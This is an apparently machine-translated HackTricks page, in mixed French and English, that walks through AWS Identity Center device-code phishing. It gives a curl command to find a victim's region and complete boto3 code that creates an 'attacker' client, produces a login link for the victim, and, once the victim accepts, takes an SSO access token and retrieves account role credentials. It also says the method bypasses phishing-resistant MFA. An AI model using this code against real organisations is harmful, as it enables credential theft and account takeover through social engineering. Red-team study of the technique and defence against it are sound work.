AWS - Identity Center & SSO Unauthenticated Enum

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

AWS Device Code Phishing

Initialement proposĂ© dans this blog post, il est possible d’envoyer un lien Ă  un utilisateur utilisant AWS SSO qui, si l’utilisateur accepte, permettra Ă  l’attaquant d’obtenir un token to impersonate the user et d’accĂ©der Ă  tous les roles auxquels l’utilisateur a accĂšs dans l’Identity Center.

In order to perform this attack the requisites are:

  • La victime doit utiliser Identity Center
  • L’attaquant doit connaĂźtre le sous-domaine utilisĂ© par la victime <victimsub>.awsapps.com/start

Rien qu’avec ces informations, l’attaquant pourra envoyer un lien Ă  l’utilisateur qui, s’il est acceptĂ©, donnera Ă  l’attaquant l’accĂšs au compte utilisateur AWS.

Attaque

  1. Trouver le sous-domaine

La premiĂšre Ă©tape pour l’attaquant est de dĂ©couvrir le sous-domaine que l’entreprise victime utilise dans son Identity Center. Cela peut se faire via OSINT ou guessing + BF, car la plupart des entreprises utilisent leur nom ou une variation de celui-ci.

Avec ces informations, il est possible d’obtenir la rĂ©gion dans laquelle Identity Center a Ă©tĂ© configurĂ© :

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Générez le lien pour la victime & envoyez-le

ExĂ©cutez le code suivant pour gĂ©nĂ©rer un lien de connexion AWS SSO afin que la victime puisse s’authentifier.
Pour la démo, exécutez ce code dans une console python et ne la quittez pas car plus tard vous aurez besoin de certains objets pour obtenir le token:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Envoyez le lien généré à la victime en utilisant vos formidables compétences en ingénierie sociale !

  1. Attendez que la victime l’accepte

Si la victime Ă©tait dĂ©jĂ  connectĂ©e Ă  AWS, elle devra simplement accepter d’accorder les permissions ; si ce n’était pas le cas, elle devra se connecter puis accepter d’accorder les permissions.
C’est à quoi ressemble l’invite de nos jours :

  1. Obtenir un access token SSO

Si la victime a acceptĂ© l’invite, exĂ©cutez ce code pour gĂ©nĂ©rer un SSO token en vous faisant passer pour l’utilisateur :

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Le token d’accùs SSO est valide pendant 8h.

  1. Se faire passer pour l’utilisateur
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing de l’unphisable MFA

C’est intĂ©ressant de savoir que l’attaque prĂ©cĂ©dente fonctionne mĂȘme si un “unphisable MFA” (webAuth) est utilisĂ©. Cela s’explique parce que le prĂ©cĂ©dent workflow ne quitte jamais le domaine OAuth utilisĂ©. Contrairement Ă  d’autres attaques de phishing oĂč l’utilisateur doit usurper le domaine de connexion, dans ce cas le device code workflow est prĂ©parĂ© de sorte qu’un code est connu par un device et l’utilisateur peut se connecter mĂȘme depuis une machine diffĂ©rente. Si l’invite est acceptĂ©e, le device, simplement en connaissant le code initial, pourra rĂ©cupĂ©rer les credentials de l’utilisateur.

Pour plus d’infos à ce sujet, consultez cet article.

Outils automatiques

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks